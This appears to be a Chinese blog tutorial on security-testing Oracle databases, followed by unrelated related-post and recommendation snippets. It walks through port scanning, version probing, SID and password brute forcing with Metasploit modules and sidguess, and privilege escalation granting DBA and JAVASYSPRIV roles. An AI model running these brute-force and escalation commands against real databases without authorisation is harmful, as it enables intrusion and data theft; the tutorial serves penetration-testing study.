Oracle Database,又名Oracle RDBMS,或简称Oracle。是甲骨文公司的一款关系数据库管理系统。它是在数据库领域一直处于领先地位的产品。可以说Oracle数据库系统是目前世界上流行的关系数据库管理系统,系统可移植性好、使用方便、功能强,适用于各类大、中、小、微机环境。它是一种高效率、可靠性好的 适应高吞吐量的数据库解决方案。针对Oracle数据库如何测试呢?

检测数据库端口是否开放


这个任务可以使用nmap来对目标IP进行测试,也可以使用其他的端口扫描工具,下面就以nmap为例,可以使用如下命令:

nmap -Pn -n -T4 --open -p1521 <target IP>

检查数据库的版本信息


得到一个存活的oracle数据库服务端口,了解数据库的版本信息非常关键,针对不同的版本会有不一样的测试方式,有不同的安全漏洞需要不同的poc来对其进行测试,所以在测试之前首先要了解数据库的版本,下面说几个方法。

1 利用msf

使用如下模块来对数据库进行版本探测:

msf > use auxiliary/scanner/oracle/tnslsnr_version

2 使用tnscmd10g

tnscmd10g是kali下的一个工具,命令如下:

tnscmd10g version -h <target IP>

tnscmd10g status -h <target IP>

通过上述命令可以得到版本信息、日志文件、跟踪信息以及端口信息

获取数据库的SID


连接oracle数据库不仅需要账号密码,而且还需要SID(SID是一个数据库的唯一标识符!是建立一个数据库时系统自动赋予的一个初始ID),所以如何获取SID是非常关键的,可以使用以下方法获取:

1 使用msf

msf下有两个模块可以完成这个操作,命令如下:

msf > use auxiliary/scanner/oracle/sid_enummsf > use auxiliary/admin/oracle/sid_brute

2 使用sidguess

sidguess是kali下的一款爆破Oracle SID的工具,命令如下:

sidguess -i <target IP> -d /home/myh0st/pass.txt

3 针对自带web管理平台

如果oracle的版本为10g,默认自带通过8080端口远程管理的可以访问以下路径:

http://<;target IP>:8080/oradb/PUBLIC/GLOBAL_NAME

枚举数据库账号密码


枚举爆破数据库连接账号密码可以使用下面的方式。

1 使用msf

使用这个模块需要指定SID,就是要在获取到SID后才能使用,使用模块如下:

msf > use auxiliary/admin/oracle/login_brute

set SID <sid>

2 使用sqlplus

sqlplus是oracle自带的数据库管理工具,可以使用以下命令登录数据库,也可以自己写脚本来枚举账号密码:

sqlplus <username>/<password>@<target IP>:<port>/<SID>

使用sql命令提权


在获取到数据库登录口令后,如何对数据库进行提权操作?可以使用msf下的两个模块,命令如下:

msf > use auxiliary/admin/oracle/sql set DBUSER <user> set DBPASS <password> set SID <sid> set SQL select * from user_role_privs

msf > use auxiliary/admin/oracle/pushin/lt_findricset_cursor set DBUSER <user> set DBPASS <password> set SID <sid> set SQL GRANT DBA TO <user> set SQL GRANT JAVASYSPRIV TO <user>

获取数据库里关键信息的sql命令


查询数据库版本:

select * from v$version;

数据库打补丁情况:

select * from dba_registry_history;

查看所有用户:

select * from all_users;

查询数据库中的所有表:

select owner,table_name from all_tables;

当前用户被激活的角色:

select * from session_roles;

描述数据库对象:

desc utl_http

oracle数据库的安全测试的更多相关文章

  1. JMeter对Oracle数据库进行压力测试

    步骤 (1)复制ORACLE的JDBC驱动JAR包文件(ojdbc14.jar)到JMeter的lib目录下. (2)运行jmeter.bat (3)建立线程组:右键测试计划->添加->T ...

  2. 关于oracle数据库压力测试

    今天接到需求,需要对oracle数据库进行压力测试,就这几个字的需求. 然后查看了以下软件: 1.Benchmark Factory是一款专业的服务器性能测试工具,专为数据库测试和可扩展性测量而设计, ...

  3. Oracle数据库(一)

    Oracle 是一个数据库管理系统,是Oracle公司的核心产品.其在数据安全性与安整性控制方面的优越性能,以及跨操作系统.跨硬件平台的数据操作能力.基于“客户端/服务    器”(Client/Se ...

  4. ORACLE 数据库简单测试

    ORACLE 数据库简单测试 操作系统:Windows 7 – ORACLE:oracle database 10.2.0.4 一.目的 测试 启动监听程序.数据库  非同一个用户的情况,用户是否可以 ...

  5. Java 测试连接Oracle数据库是否成功,ojdbc7.jar包下载

    需要用到的jar 包: 链接:https://pan.baidu.com/s/1I1pC2f81IvbphZ6tWpVFOg 密码:uq0u 测试结果: package pkg; import jav ...

  6. loadrunner 脚本开发-调用java jar文件远程操作Oracle数据库测试

    调用java jar文件远程操作Oracle数据库测试 by:授客 QQ:1033553122 测试环境 数据库:linux 下Oracle_11g_R2 Loadrunner:11 备注:想学ora ...

  7. 如何使用swingbench进行oracle数据库压力测试

    如何使用swingbench进行oracle数据库压力测试 2014-10-06 08:09:02 标签:oracle 数据库压力测试 swingbench 原创作品,允许转载,转载时请务必以超链接形 ...

  8. Oracle数据库测试和优化最佳实践: OTest介绍 (转)

    当前Oracle数据库最佳测试工具OTest *  Otest是用于Oracle数据库测试.优化.监控软件. *  Otest是免费提供给Oracle客户和广大DBA工程师使用的软件.由原厂技术专家王 ...

  9. [转帖]如何获得一个Oracle RAC数据库(从Github - oracle/vagrant-boxes) --- 暂时未测试成功 公司网络太差了..

    如何获得一个Oracle RAC数据库(从Github - oracle/vagrant-boxes) 2019-11-20 16:40:36 dingdingfish 阅读数 5更多 分类专栏: 如 ...

随机推荐

  1. Git学习-上传项目到github

    现在流行把项目代码上传到git上,今天试了好久,终于成功上传到git了,特做点笔记. 准备工作 在github上注册一个账号,创建一个仓库. 创建好仓库,得到它的地址: 开始上传 一.新建一个文件夹, ...

  2. android 和 webService交互

    webService 很久不用了,第一次使用还是13年, 早已忘记怎么搞了.今天看了篇博文,写了个demo .记录下吧! 首先要下载skoap2  .... xxx.jar  ,我用的是最新的3.6. ...

  3. maven下载jar包源码配置

    两个依赖,就想下mail的源码包,因该怎么 <dependencies> <dependency> <groupId>javax.mail</groupId& ...

  4. 构建之法——homework4

    手机应用——软件腾讯QQ: QQ是腾讯公司开发的一款基于Internet的即时通信软件.最初通过在线广告进行盈利(Banner广告.Email广告等).然后通过免费注册QQ,获取大量用户.开发QQ相关 ...

  5. Python学习笔记整理总结【Django】:Form组件

     Form组件  Django的Form主要具有一下几大功能: --生成HTML标签 --验证用户数据(显示错误信息) --HTML Form提交保留上次提交数据 --初始化页面显示内容 1.内置字段 ...

  6. opencv边缘检测-拉普拉斯算子

    sobel算子一文说了,索贝尔算子是模拟一阶求导,导数越大的地方说明变换越剧烈,越有可能是边缘. 那如果继续对f'(t)求导呢? 可以发现"边缘处"的二阶导数=0. 我们可以利用这 ...

  7. 利用sqlalchemy 查询视图

    这个问题 google 百度 中英文搜了一上午.最新的回答还是 7年前.最后自己靠着官方文档的自己改出来一个比较方便的方法 使用环境 python == 3.7.0 SQLAlchemy === 1. ...

  8. 小鸟初学Shell编程(七)变量引用及作用范围

    变量引用 那么定义好变量,如何打印变量的值呢?举例下变量引用的方式. ${变量名}称作为对变量的引用 echo ${变量名}查看变量的值 ${变量名}在部分情况下可以省略成 $变量名 [root@li ...

  9. Mysql INSTR函数

    在Mysql中,可以使用INSTR(str,substr)函数,用于在一个字符串(str)中搜索指定的字符(substr),返回找到指定的字符的第一个位置(index),index是从1开始计算,如果 ...

  10. CSS3 box-shadow阴影

    box-shadow: color x-offset v-offset blur spred color: 阴影的颜色 x-offset: 阴影水平距离; 0: 左右阴影平分:正值:阴影在对象的右侧: ...